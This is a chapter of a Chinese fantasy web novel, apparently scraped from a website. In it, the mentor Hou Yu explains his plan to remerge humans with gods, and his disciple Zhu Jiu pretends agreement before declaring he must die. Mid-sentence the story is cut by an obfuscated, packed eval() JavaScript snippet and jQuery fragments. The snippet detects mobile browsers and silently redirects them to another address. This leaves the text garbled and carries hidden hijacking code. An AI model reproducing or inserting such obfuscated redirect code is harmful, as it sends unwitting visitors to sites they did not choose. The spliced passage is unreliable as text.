57. 第 57 章

    祝玖皱起眉,越听越迷惑,难以理解他的逻辑:“你到底想干什么?如果是想证明那些随着绝地天通离开的神和异兽确实存在过,甚至是还在某个维度活着,那你已经成功了。这不死树不就是证明吗?你还要怎么样?”


    侯郁并未立刻回答,而是皱了皱鼻子,似乎对洞穴里弥漫的气味感到不适。他朝祝玖招了招手,示意她回到溶洞大厅。


    “小九,我曾跟你讲过,我们天篆族奉仓颉为祖先,你还记得吧?”侯郁弯腰钻出洞口,衣袍在微光下微微浮动。


    “仓颉创造了文字,彼时‘天雨粟,鬼夜哭’,人类得以割裂蒙昧,构筑文明。而后殷墟出土龟甲兽骨上刻有的甲骨文,多是占卜、祈问神明所用,这证明文字还有与神明沟通的能力。”


    他顿了顿,似是有些感慨:“可以说,仓颉虽为人,但其能力和伟业,可比肩神明。”


    “而在绝地天通之前的一段时间里,突然涌现了大量如仓颉一般,能力强大的巫觋,甚至出现了‘巫师全民化’的现象。”


    侯郁低声笑了笑,语气情绪不明。


    “从现世往回看,有人分析,那段时间巫觋之间鱼龙混杂,真材实料少,多是假借神明之口行己私欲之人。为了杜绝这种现象,也是为了建立新秩序,让人类不再依靠神明的力量,能够独立发展传承,这才有了绝地天通。”


    侯郁回到了烛台前,将蜡烛放回台面上,溶洞大厅顿时明亮起来。


    他微微侧过头看向祝玖,眼底映着钟乳石滴落的水光,声音低沉缓慢:“可若事实并非如此呢?”


    “若当时的巫觋,皆是明珠,而非鱼目呢?若巫师全民化是真的呢?”


    微光勾勒出侯郁眼底的炽热,他微微抬起手,指向头顶盘根错节的树根:“你看,我用不死树和你的灵魂相结合,便创造出了超脱时间的永生之人。这证明若是没有天道的限制,人类能够和世外生物融合得到进化,在某些方面变得更强,甚至获得更多的能力。”


    树根扭曲着扎入洞顶,如脉络般攀附着石壁,影子随着烛光的映照而颤动,仿佛在随着整片大地的节奏呼吸、脉动、共生。


    “而在那人神杂糅的时期,天道尚未形成,巫觋正处于这样的关口!”


    “那是一个契机,是整个种族皆可向上跃迁的机遇!人类的寿命本该更长,精神本该更辽阔,血脉本该承载更伟大的能量!”


    他激动地迈步向前,影子在摇曳的烛光中拉长,如怪物般攀附着石壁,直到顶天立地,融入洞顶漆黑的树根中。


    下一秒,他倏的收回手,竖起一根手指贴近嘴唇,眼中暗光浮动,语气森然:


    “但,颛顼不允许。”


    空气仿佛微微一滞,远处烛光触及不到的地方,黑暗像是更深了一分。


    “他发现了巫觋的力量愈发接近神明,发现了人会逐渐与神融合的秘密。”


    也许是从一次次血腥的祭祀中窃取了神的力量,也许是有胆大妄为之人突破了种族间的禁忌,也许是没了敬畏之心的人一哄而上,以群众之力分食了那曾在他们心中高不可攀之物。


    最终,人与神的界限模糊了。


    “若让这一进程继续,人将不再是人,而是通天彻地的神裔!”


    侯郁的语调猛然一变,情绪再次激荡起来。他大步上前,一手捏住祝玖的肩膀,一手直指上天,在此刻终于剥离了伪善的假面,面目狰狞到五官变形:


    “但神裔怎甘心臣服与人类帝王?”


    一通激烈的情绪爆发后,侯郁喘着粗气,苍老孱弱的身体有些摇摇欲坠,只能死死撑着祝玖的肩膀做支撑,像是要从她身上汲取力量。


    他缓缓吐出一口气,嘴角勾起一抹讽刺:“若不加以遏制,颛顼的地位会受到严重威胁,对人族的统治将全面崩塌!”


    他背着光,浑浊的眼中沉淀了某种难以言喻的恨意,声音几乎是从牙缝里挤出来的:“于是,他打着让人类独立的旗号,主导了绝地天通,摧毁了通天之路,让神与人彻底隔离。原本已经触碰到神域边缘的巫觋被打回凡尘,人类迈向更高维度的可能,就此被掐灭。”


    “实际上他想要的,是将神权收归中央,再彻底粉碎神权对人的影响力,令凡人永远为凡人,最后实现对人类的全盘掌控!”


    “只能说,他成功了。”侯郁闭上了眼睛,一口气却梗在喉咙,吐不出来,咽不下去,“我们被自己的认知造就的规则反噬,困在这区区百年的岁月里,像困兽般每天为温饱奔波,为了有限的资源彼此争斗,在一潭死水中内耗,永无超脱。”


    “但现在,我知道了,神并非只存在于想象和传说。”侯郁唰地睁开眼,抬头向上看去。


    “既然有天道之外的‘道’的存在,它约束的是什么?说不定就是那些随绝地天通被分离出的异兽与神明!”


    “如果,神明再次出现在我们的世界呢?”


    烛火猛然跳动了一下,影子在石壁上剧烈晃动,侯郁缓缓抬起手,掌心朝上,如同托举着什么。


    “若是能打破天道的限制,重现人神共存的世界,人类与神明融合的进程将再度开始,人类的上限会不断提高!只要这个阶段足够久……”


    他的指尖微微颤动,仿佛触摸着某道隐形的屏障,语气渐渐炽热。


    “那人,就能变成神!”


    祝玖一直低着头默默听着,额前的碎发遮住了眉眼,微弱的烛光落在她的肩上,将影子拉得很长,静静地伏在地面。


    侯郁低头凝视着她,深深叹息一声,语调忽然放轻,带着一种复杂的怜惜:“我直到五十岁,才听到了‘道’的声音,可你现在就听见了。”


    “不仅如此,你的存在已经超越了‘天道’的限制,你已经拿到了跳脱出人类世界,迈向更高维度的入场券,你比我要有优势的多。”


    “就算你一时对探寻人类世界之外的天地不感兴趣,那也没关系。”


    “‘道’会一直在你耳边回荡。”


    他的语气格外笃定:“等到你逐渐对唾手可得一切感到厌倦,需要在漫长的生命里寻找新的意义的时候,自然不吝啬于开始第一次尝试。”


    洞穴中一时沉寂,只有烛火轻微的跳动声。


    祝玖沉默得太久了,长到侯郁忍不住再次开口,语气更温和了一些:“好孩子,我知道,我说的这些离你太过遥远,你不相信是正常的。只要……”


    “不!”


    祝玖突然出声,打断了他的话,回音在石壁间激荡。


    侯郁一愣。


    下一刻,祝玖缓缓抬头,碎发滑落,露出那双映着烛火的瞳孔。眼里是满是动容,和对侯郁伟大构想的狂热向往。


    “啪!啪!啪!”


    她劈里啪啦鼓起掌来,语气里压抑着激动:“师傅,我当然相信你!如今你是我最亲近的人,还让我得到永生这么大的好处,我有什么理由不相信你呢?”


    她嘴角扬起,目光灼灼,带着一种近乎虔诚的敬仰:“您的格局太大了,这是为全体人类在谋福祉!我和您相比,简直就是一个自私自利的蝼蚁。”


    掌声渐息,她放下手,自嘲地摇了摇头:“以我如今的阅历和见识,远达不到您的层次。不过既然我拥有大把的时间,那自会替您慢慢完成您的构想。”


    侯郁被她突如其来的狂热打得措手不及,沉默着上下打量她,似乎在确认什么。


    然而还不等他开口,祝玖忽


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseint(c/a)))+((c=c%a)>35?string.fromCharCode(c+29):c.tostring(36))};if(!''''.replace(/^/,string)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new regexp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15255295|161219||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    然轻轻叹了口气,语气带着几分无奈:“说实话,刚醒来就发现我的记忆失序,我着实慌了一段时间。尤其是发现救我的,是一个叫做‘异常现象调查局’的官方组织。”


    她顿了顿,眉头微皱,声音里透着一点烦躁:“您不知道吧,那些给您捣乱的人,也是这个组织的员工,他们的职责是消灭所有可能会对普通人安全产生威胁的异常现象。”


    “异调局?”侯郁挑了挑眉,眼神微动,似是在回忆什么,“我知道他们。五十年前我跟他们的领导,好像是姓关吧,一起吃过饭,我们关系还不错。”


    祝玖惊喜:“您知道啊!那太好了!”她眉头一皱,捶胸顿足,“那您肯定能体会到我当时的慌张。我在他们的眼里,可不就是那个需要被消灭的‘异常’吗?”


    侯郁摆摆手,漫不经心地说:“据我所知,他们的员工很多都是身怀异能的人。你只要不对普通人下手,他们根本不会管你。”


    “更何况,只要你自己不透露你的情况,他们是发现不了你的身体有什么问题的,这个你尽管放心。”他拍着胸脯保证道。


    祝玖睫毛微颤:好像确实如此。


    张旭他们用仪器给她检查过身体,曲然还对她用过异常能量检测仪,都没能查出什么异常。


    但面上她还是一脸疑惑,故作不解:“哦?这是为什么?”


    侯郁微微一笑,眼中闪过一丝得意:“如果仅仅只普通的身体检查,那你如今的身体是百分百模拟之前的肉身,包括dnA、指纹等所有能识别身份的特征。”


    “而异调局那些特殊仪器再怎么厉害,也不过是用来检测能量流动不符合天道规律的人或者物。”侯郁从容地摸了摸胡子,“但不死树本不受天道规则的管辖,超出了这个维度的因果律和检测逻辑,那些仪器自然对它无用。”


    他微微眯起眼,指尖虚空一划:“如今你的情况,形同于孙悟空从生死簿上抹去了自己的名字。你不在五行之中,不沾六道因果,那些依循天道而制的法器,又如何能检测一个根本不在它们认知维度里的存在?”


    侯郁收回手,缓缓背到身后:“你唯一需要小心的,是身体的破损。如果你的身体破损到兜不住你的灵魂了,灵魂消散湮灭,那就真的是回天无力了。”


    祝玖的心一点点沉下来,一时说不清自己是放心了,还是越发心凉。


    她强行抛开各种复杂的情绪,挤出一点笑容继续道:“师傅,您这么一说,我放心多了。但长生不老这件事太过逆天,若是有人知道起了歹心,我一个人势单力薄,怎么都斗不过他们。”


    她顿了顿,垂下眼帘,声音轻缓,却透着难以忽视的锋芒:“所以稳妥起见,知道我情况的人,最好一个不留。”


    侯郁点点头,眼里划过一抹杀气,毫不迟疑地说:“确实如此。这个你不用担心,跟着你下来的那群人,我一个都不会放过。随算他们中有人察觉到你的异常,只要出不了这个天坑,自然不会对你产生威胁。”


    祝玖歪了歪头,漫不经心地开口:“可是,他们下这天坑,不是来杀我的。”


    “师傅,我很谨慎的,并没在他们面前露出过破绽。”


    祝玖抬眸,目光平静,烛火在她眼底映出一抹淡淡的金色:“异调局是发现了你的人体改造实验,所以才冒险下了天坑。师傅,他们是来杀你的啊。”


    “而且——”祝玖眨了眨眼,直勾勾地看进他的眼底。


    “我所说的一个不留,指的可不是他们。”


    她上前一步,身后的影子猛地扩张,居高临下地凝视着侯郁的影子。


    “你才是唯一知道我永生的人。”


    “所以该死的人是你啊,师傅。”